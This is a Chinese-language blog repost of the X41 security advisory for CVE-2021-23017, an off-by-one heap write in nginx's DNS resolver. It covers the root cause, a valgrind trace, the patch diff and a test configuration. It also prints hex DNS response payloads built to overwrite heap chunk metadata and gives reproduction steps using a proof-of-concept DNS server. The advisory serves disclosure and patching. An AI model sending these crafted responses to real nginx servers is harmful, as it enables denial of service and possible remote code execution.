nginx严重级别安全漏洞:DNS解析器不按堆大小写入漏洞

更多互联 新鲜资讯、工作奇淫技巧关注【飞鱼在浪屿】(日更新)


  • 严重等级:
  • 受影响版本:0.6.18-1.20.0
  • 补丁版本:1.21.0、1.20.1
  • 参考:https://mailman.nginx.org/pipermail/nginx-announce/2021/000300.html
  • 补丁:http://nginx.org/download/patch.2021.resolver.txt
  • 详细 址:https://www.x41-dsec.de/lab/advisories/x41-2021-002-nginx-resolver-copy/
  • 具体描述:确定了nginx解析器中的安全问题,这可能允许攻击者使用特制的方法导致1字节的内存覆盖DNS响应,导致工作进程崩溃或可能任意代码执行(CVE-2021-23017)。
    当在以下情况下使用“ resolver”指令时,该问题才会影响nginx。只有在攻击者能够从DNS服务器伪造UDP数据包。



  • 摘要

    ngx_resolver_copy()处理DNS响应时出现的一一对应错误使 络攻击者可以在堆分配的缓冲区中写一个点字符(’.’,0x2E)。配置了解析器时,可以通过DNS响应(响应来自nginx的DNS请求)来触发此漏洞。特制数据包允许使用0x2E覆盖下一个堆块元数据的最低有效字节。能够向Nginx服务器提供DNS响应的 络攻击者可以实现“拒绝服务”并可能实现远程代码执行。

    由于nginx中缺少DNS防欺骗措施,并且在检查DNS事务ID之前调用了易受攻击的功能,因此远程攻击者可能能够通过在可行的时间内向中毒服务器注入中毒的DNS响应来利用此漏洞。


    根本原因分析

    nginx DNS解析器(core/ngx_resolver.c)通过DNS用于解析多个模块的主机名。

    ngx_resolver_copy()调用来验证和解压缩DNS响应中包含的每个DNS域名,接收 络数据包作为输入和指向正在处理的名称的指针,并在成功后返回指向包含未压缩名称的新分配缓冲区的指针。这是分两步完成的

    1)计算未压缩域名的大小len,并验证输入数据包,丢弃包含多于128个指针或包含超出输入缓冲区边界的指针的名称。
    2)分配输出缓冲区,并将未压缩的名称复制到其中。

    第1部分中的大小计算与第2部分中的名称解压缩之间的不匹配会导致len中的一对一错误,从而允许将点字符写到name->data边界一字节之外。

    当压缩名称的最后一部分包含一个指向NULL字节的指针时,就会发生计算错误。尽管计算步骤仅考虑标签之间的点,但每次处理标签且下一个字符不是NUL时,解压缩步骤都会写入一个点字符。当标签后跟指向NUL字节的指针时,解压缩过程如下:

    // 1) copy the label to the output buffer,
     ngx_strlow(dst, src, n);
                dst += n;
                src += n;// 2) read next character,
                n = *src++;// 3) as its a pointer, its not NUL,
                if (n != 0) {
    // 4) so a dot character that was not accounted for is written out of bounds
                    *dst++ = '.';
                }// 5) Afterwards, the pointer is followed,
            if (n & 0xc0) {
                n = ((n & 0x3f) << 8) + *src;
                src = &buf[n];            n = *src++;        }// 6) and a NULL byte is found, signaling the end of the function
            if (n == 0) {
                name->len = dst - name->data;
                return NGX_OK;
            }

    如果计算出的大小恰好与堆块大小对齐,则超出范围的点字符将覆盖下一个堆块大小元数据的最低有效字节。这可能会修改下一个堆块的大小,但还会覆盖3个标志,导致PREV_INUSE被清除和IS_MMAPPED设置。

    ==7863== Invalid write of size 1
    ==7863==    at 0x137C2E: ngx_resolver_copy (ngx_resolver.c:4018)
    ==7863==    by 0x13D12B: ngx_resolver_process_a (ngx_resolver.c:2470)
    ==7863==    by 0x13D12B: ngx_resolver_process_response (ngx_resolver.c:1844)
    ==7863==    by 0x13D46A: ngx_resolver_udp_read (ngx_resolver.c:1574)
    ==7863==    by 0x14AB19: ngx_epoll_process_events (ngx_epoll_module.c:901)
    ==7863==    by 0x1414D4: ngx_process_events_and_timers (ngx_event.c:247)
    ==7863==    by 0x148E57: ngx_worker_process_cycle (ngx_process_cycle.c:719)
    ==7863==    by 0x1474DA: ngx_spawn_process (ngx_process.c:199)
    ==7863==    by 0x1480A8: ngx_start_worker_processes (ngx_process_cycle.c:344)
    ==7863==    by 0x14952D: ngx_master_process_cycle (ngx_process_cycle.c:130)
    ==7863==    by 0x12237F: main (nginx.c:383)
    ==7863==  Address 0x4bbcfb8 is 0 bytes after a block of size 24 alloc'd
    ==7863==    at 0x483E77F: malloc (vg_replace_malloc.c:307)
    ==7863==    by 0x1448C4: ngx_alloc (ngx_alloc.c:22)
    ==7863==    by 0x137AE4: ngx_resolver_alloc (ngx_resolver.c:4119)
    ==7863==    by 0x137B26: ngx_resolver_copy (ngx_resolver.c:3994)
    ==7863==    by 0x13D12B: ngx_resolver_process_a (ngx_resolver.c:2470)
    ==7863==    by 0x13D12B: ngx_resolver_process_response (ngx_resolver.c:1844)
    ==7863==    by 0x13D46A: ngx_resolver_udp_read (ngx_resolver.c:1574)
    ==7863==    by 0x14AB19: ngx_epoll_process_events (ngx_epoll_module.c:901)
    ==7863==    by 0x1414D4: ngx_process_events_and_timers (ngx_event.c:247)
    ==7863==    by 0x148E57: ngx_worker_process_cycle (ngx_process_cycle.c:719)
    ==7863==    by 0x1474DA: ngx_spawn_process (ngx_process.c:199)
    ==7863==    by 0x1480A8: ngx_start_worker_processes (ngx_process_cycle.c:344)
    ==7863==    by 0x14952D: ngx_master_process_cycle (ngx_process_cycle.c:130)

    攻击分析

    DNS响应可以通过多种方式触发漏洞。

    首先,nginx必须发送了DNS请求,并且必须等待响应。

    然后,可以在DNS响应的多个部分中注入毒名:

  • DNS问题QNAME,
  • DNS回答名称,
  • DNS会回答RDATA以获得CNAME和SRV响应,
  • 通过使用多个中毒的QNAME,NAME或RDATA值制作响应,可以在处理响应时多次击中易受攻击的函数,从而有效地执行多次脱机写入。

    此外,当攻击者提供中毒的CNAME时,它将被递归解决,从而在ngx_resolve_name_locked()调用ngx_strlow()(ngx_resolver.c:594)期间触发额外的OOB写操作,并在ngx_resolver_dup()(ngx_resolver.c:790)和ngx_crc32_short()(ngx_resolver.c:596 )期间进行额外的OOB读取操作。)。

    用于“ example.net”请求的DNS响应示例负载,其中包含受污染的CNAME:

    bcb881800001000100000000076578616d706c65036e657400001c0001c00c0005000100000e10000b0141c004
             ^                            |   ^ pointer to position 0x04 -|
             NULL byte <----------------------------------------------------------------------------------------------|
                                          |                                            ^ 1 byte label

    稍微不同的有效负载(poc.py中的有效负载)填充了足够的字节,以next_chunk.mchunk_size用点覆盖最低有效字节:

    bcb881800001000100000000076578616d706c65036e657400001c0001c00c0005000100000e10000b18414141414141414141414141414141414141414141414141c004
                                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
                                            |                                        24 bytes label

    24字节的标签导致分配了24字节的缓冲区,该缓冲区填充有24字节+一个超出范围的点字符。


    修复/解决方法

    为中毒域名末尾写入的伪造的点字符分配一个额外的字节可以缓解此问题。

    --- ngx_resolver.c	2021-04-06 15:59:50.293734070 +0200
    +++ src/nginx-1.19.8/src/core/ngx_resolver.c	2021-04-06 15:54:10.232975235 +0200
    @@ -3943,7 +3928,7 @@
         ngx_uint_t   i, n;
     
         p = src;
    -    len = -1;
    +    len = 0;
     
         /*
          * compression pointers allow to create endless loop, so we set limit;
    @@ -3986,7 +3971,7 @@
             return NGX_OK;
         }
     
    -    if (len == -1) {
    +    if (len == 0) {
             ngx_str_null(name);
             return NGX_OK;
         }

    验证

    可以从
    https://github.com/x41sec/advisories/blob/master/X41-2021-002/poc.py下载提供触发此漏洞的中毒负载的虚拟DNS服务器。

    可以通过在valgrind下使用提供的配置运行nginx来测试所描述的漏洞:

    valgrind --trace-children=yes objs/nginx -p ../runtime -c conf/reverse-proxy.conf

    然后运行DNS服务器(默认情况下将侦听端口1053):

    python poc.py

    并触发对服务器的请求:

    curl http://127.0.0.1:8080/

    根据bug触发时堆的布局,malloc缓解措施可能会检测到效果,也可能无法检测到效果。出现在日志中的几种方法:

    
    corrupted size vs. prev_size
    2021/04/16 13:35:15  2501#0: worker process 2502 exited on signal 6 (core dumped)
    malloc(): invalid next size (unsorted)
    2021/04/16 13:35:34  2525#0: worker process 2526 exited on signal 6 (core dumped)

    但是,valgrind和AdressSanitizer将始终检测到内存损坏。


    使用的nginx配置

    daemon off;http{
        access_log logs/access.log;
        server{
            listen 8080;
            location / {
                resolver 127.0.0.1:1053;
                set $dns http://example.net;
                proxy_pass $dns;
            }
        }
    }events {
        worker_connections  1024;
    }

    声明:本站部分文章内容及图片转载于互联 、内容不代表本站观点,如有内容涉及侵权,请您立即联系本站处理,非常感谢!

    (0)
    上一篇 2021年5月21日
    下一篇 2021年5月22日

    相关推荐